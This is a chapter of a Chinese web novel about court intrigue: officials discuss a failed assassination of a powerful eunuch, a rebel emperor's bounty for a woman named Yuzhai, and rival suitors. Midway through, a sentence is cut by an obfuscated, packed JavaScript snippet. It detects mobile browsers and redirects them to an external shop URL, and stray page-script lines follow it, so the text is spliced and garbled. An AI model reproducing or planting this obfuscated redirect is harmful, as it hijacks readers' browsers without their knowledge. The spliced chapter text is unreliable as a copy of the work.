32. 雨斋

作品:《她是女帝,但人人争抢

    复十日后,木枕离称帝,改旧姓宿,高官厚禄劝诱北朝士人追随。北朝之人竞相南渡。


    浮生乐坊。


    洛云归一边喝着酒,一边问楼盏眠:“最后为什么没杀了他?”


    虽然他没说是谁,但是楼盏眠心知肚明。


    “现在问这个?”


    “正是因为现在事情过去了,所以才要问你。”


    “我没能得手,他警惕心太重了。”


    “不,你得手了。”洛云归看着她腰间空荡荡的香囊,说:“我更相信是你明明能杀了他,最后却没有那么做。”


    “为什么这样说?”


    “谢弃问在你心中仍有价值。”洛云归又喝了一口酒,说:“明明是一个大逆不道的宦官,为何你不肯杀了他?”


    楼盏眠也喝了一口酒,没有说话。


    “你对枕白公子有意时我就劝过你,事实证明,那人是前朝的遗嗣,这也是当年木家和楼家决裂的原因,楼家选择把这件事告诉了当朝,当朝灭了木家满门,如今,血海深仇在前,献玉,你情何以堪?不如当初就向当朝检举那位枕白公子,如今就不会有这种局面了。而你,甚至助纣为虐,一手帮枕白公子扩大了影响力,让他借由诗歌召集乱臣,最终谋逆成功。”


    “这不过是你的猜测罢了。实际上,那枕白公子未必就是木枕离。何况,你总谈我的事做什么。”竟然说什么“助纣为虐”,如果不是洛云归,换个人说这话,楼盏眠可能当场掀桌子了。


    “我只是想说,你挑人的眼光真的不怎么样。”


    “……”


    “但这个谢弃问我就不理解了,放着大好的机会,你又不杀他。”


    “那时真的千钧一发。”楼盏眠说:“如果禁军没有造反,他已经成了刀下亡魂了。”


    “谢弃问死了,我们可以扶持新的皇上,我们可以安天下,可以摆平宿氏。”洛云归说:“献玉,你是觉得楼家的地位尴尬?”


    “我们都是文臣,不比谢弃问调兵快。”楼盏眠说:“子期,像我们这种书生,都是在安宁的时候发挥的作用才更大。君不闻,盛世文臣,乱世武臣?”


    “如今朝中竟然有半数人,选择南渡,去追随那木氏创立的伪朝‘南宿’,还说什么盛世。”


    “发生今天的事,谁都没有料到。”


    “我不信你完全没有料到。”洛云归摇摇头说:“十年前,南宿筹谋之始,你就与他接头了。献玉,你不肯承认你被感情惑乱了心智,今天才让乱臣贼子得逞了吗?”


    “木氏竟然是前朝旧臣,伪装了不知道几代,在当朝当上了兵马大将军,收养前朝的皇嗣为自己的养子,这谁能想到呢。”楼盏眠失笑,总感觉洛云归的语气变得格外苛责。


    “那盏眠你呢,你有想过南渡吗?”


    “这怎么可能?”楼盏眠问。


    “并非不可能。”洛云归拿出了一张纸,说:“看看这个吧。”


    楼盏眠只见上面是宿枕离的赏文,大意是说一个叫雨斋的姑娘,曾在他微末之时资助了他,如今他登基为帝,后位空虚,愿意迎娶这位姑娘为后。能把这位姑娘带到他面前的,悬赏十万两黄金。


    月鸳过来给二人看茶,也笑道:“真不知道这位姑娘是谁呢,其实去南朝感觉也不错?大家都说北朝要完了。”


    “月鸳姑娘呢?你不是已经见过那位新帝了,若是南渡,找他论论交情,也许比在我这里过得好呢。”洛云归打趣道。


    “洛公子就会开玩笑,那天的事,虽是那位公子买通了我,但是那名伪装的男子又暗中威胁我,我不敢不从,我还得多亏二位救下了我。月鸳啊,什么也不会,能在这乐坊待多久就待多久,直到待不下去为止。”


    “还是月鸳通透。”


    正说着,楼盏眠感到了一个人的气息,转过头,是裴晦雪。


    “裴公子又来接楼公子了。”月鸳起身说:“二位关系亲密,更甚亲兄弟,洛公子岂不是要吃味了。”


    “哼。”洛云归瞥了裴晦雪一眼,不说话了。


    裴晦雪也看到了那张悬赏,他拿过来仔细看了看,表情沉了下来。


    “盏眠,我们回去。”裴晦雪想问她“雨斋”是怎么回事,在这里楼盏眠号“雨斋”吗,他还是第一次知道,以为这是和他之间的秘密,是他想多了。


    但是理智告诉他,要给楼盏眠在外面留点面子,质问要留到回家之后再说。


    楼盏眠则是有些害怕了,不是那种害怕,而是不知道如何解决的害怕。她还真不知道该怎么和裴晦雪解释她和木枕离之间的事,如果可以的话,她不想解释,但是她知道这不可能。


    洛云归看热闹不嫌事大,说:“献玉,说说呗,这等你南渡的人,你到底是要还是不要,若是不要的话,我们倒可以利用他这一把,你总是要做出决定的,就别磨磨蹭蹭了。”


    楼盏眠没想到洛云归这么会说风凉话,这家伙现在到底真的是她朋友吗,她真的弄不清楚。


    洛云归是不知道裴晦雪怎么能横插一脚,变成了比他和楼盏眠还亲密的存在,据说裴晦雪每天去楼府接她,接着去处理公务,处理完了又去接她,做得如此周到,现在大家都说楼盏眠和裴晦雪好上了,谢弃问也便成为了巫山故云。


    如今他明知道自己无法介入,便抱了几分看戏的念头。


    “雨斋和我没有任何关系,你别胡说啊。”楼盏眠用警告的眼神看着洛云归,觉得他太得意忘形了。


    在宫中收到洛云归传信的那一刻,楼盏眠才发现此人是多么的深不可测。而这样的人,是陪伴自己十三年的友人,而她对他的了解,似乎还很浅显。这一点在楼盏眠心头敲响了警钟。


    “没想到献玉你这样明目张胆的逃避,这就没意思了吧。”洛云归不依不饶。


    裴晦雪越发看洛云归不顺眼,他听楼盏眠跟他讲了收到洛家传信的事,洛云归竟然在给楼盏眠赠送香囊时就密谋杀掉谢弃问,而且就这样利用了楼盏眠。楼盏眠竟然没和他商量,就按照洛云归的办法去做了——这比得罪谢弃问更让裴晦雪感到难以安心。


    他总觉得洛公子不像表面表现得那样爽朗简单。


    “说这些,洛公子自己难道是光明磊落之人?”裴晦雪问:“若你是,为什么不自己去刺杀那千岁,反而要假手他人,还恰恰选择了一个盏眠无法推拒的时机。如今闹成这副样子,谢、楼两家已然决裂,还不知道谢弃问要如何报复我家盏眠,这样你满意了?”裴晦雪站在楼盏眠面前,问道。


    “我家盏眠……”洛云归手中的酒杯有些摇晃,表情也有些别扭,看向二人:“说起来,二位到底是什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216407|194951||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么关系,献玉,你我还算朋友的话,不如你直接告诉我,我们也好把误会解开,免得这位裴大人成天想方设法要把罪名安在我头上。”


    “罪名?”楼盏眠看向裴晦雪:“什么罪名?”


    “没什么,就是他怂恿你刺杀谢弃问,我觉得太危险了,我想着谢弃问终有追究这件事的一天,干脆由我们大理寺拟一份奏折,梳理这件事的起因,既然事情是洛家起的头,那洛公子不承担责任,未免说不过去吧?”


    “这样啊,”楼盏眠笑说:“晦雪,你不必忙碌了,这件事我和谢弃问之间应该没完,他心里最想报复的人必然是我。”


    “那当然了,被信任的人背后捅了一刀,即便是罪恶滔天如谢弃问,内心的伤口怕也很难恢复吧……”洛云归嘟囔着,丝毫不觉得那个递刀子的人是自己有什么问题。


    洛云归又喝了一杯酒,有时候,他甚至会羡慕谢弃问,羡慕木枕离,有爱有恨,这多么好啊,最起码,还有故事可以叙说。


    自己连登台的资格都没有,只能在这样尴尬的位置上。


    不过和谢弃问以及木枕离,对她抱有多余的幻想不同,洛云归一直以极其现实的目光看待楼盏眠。


    看到她左右逢源,他心里实在想笑。他想看到她从神坛上跌下,谁也无法施救的时刻,若自己在这时候出现在她面前,恐怕能成为她永远的依靠吧。即便那对于她而言是噩梦。


    这便是洛云归不为人知的阴暗一面。


    为此,他甚至可以忍受她在自己面前和别的男人打情骂俏。


    裴晦雪,你又能在她身边多久呢,洛云归只是等待着这个男人在她生命里黯然退场的那一刻,他不相信,有哪个男人可以忍受自己的女人被其他人觊觎。


    并且,很显然她禁受不住诱惑。


    “盏眠,我不会让他动你的。”裴晦雪信誓旦旦的说。


    楼盏眠说:“我看他也没什么时间,如今两朝并立,每天都在打仗,他处理这些事情已经够忙活了。”


    “这倒是真的,这位千岁大人好像也是被什么给刺激到了,竟然还提出要自己亲自上战场,他这是想扬名立万,向天下人证明自己是一个有理想有抱负的太监吗?不过战场瞬息万变,枪林弹雨,说不准什么时候他就被灭了,若是抬着一具尸体回来也有可能。”洛云归不甚关心但又十足八卦的说。


    谢弃问赊来的命,只能为给易朝续命而继续燃烧,这样一想,会觉得这个权宦也挺可怜。


    “那对于我们而言,反倒是好事。”裴晦雪说。


    “子期,云梦香还有的话,你再给我寄点。”楼盏眠说。


    “一样的东西不可能起两次作用。”洛云归看了看她,提醒道。


    “我知道。”楼盏眠说:“以备不时之需而已。”


    “哦对了,我忘了告诉你,那香虽然能使人昏迷,但是意识是清醒的,也就是你说了什么话,对方都能听见。”


    “……”


    “怎么,你说什么了?”洛云归畅快地笑出了声,看到楼盏眠吃瘪的表情,不知道怎么就这么欢乐。


    “没。”


    糟了,楼盏眠想。她记得当时她认为谢弃问彻底昏迷了,然后把该说的不该说的都说了一遍。


    “香还要吗?”


    楼盏眠不说话了。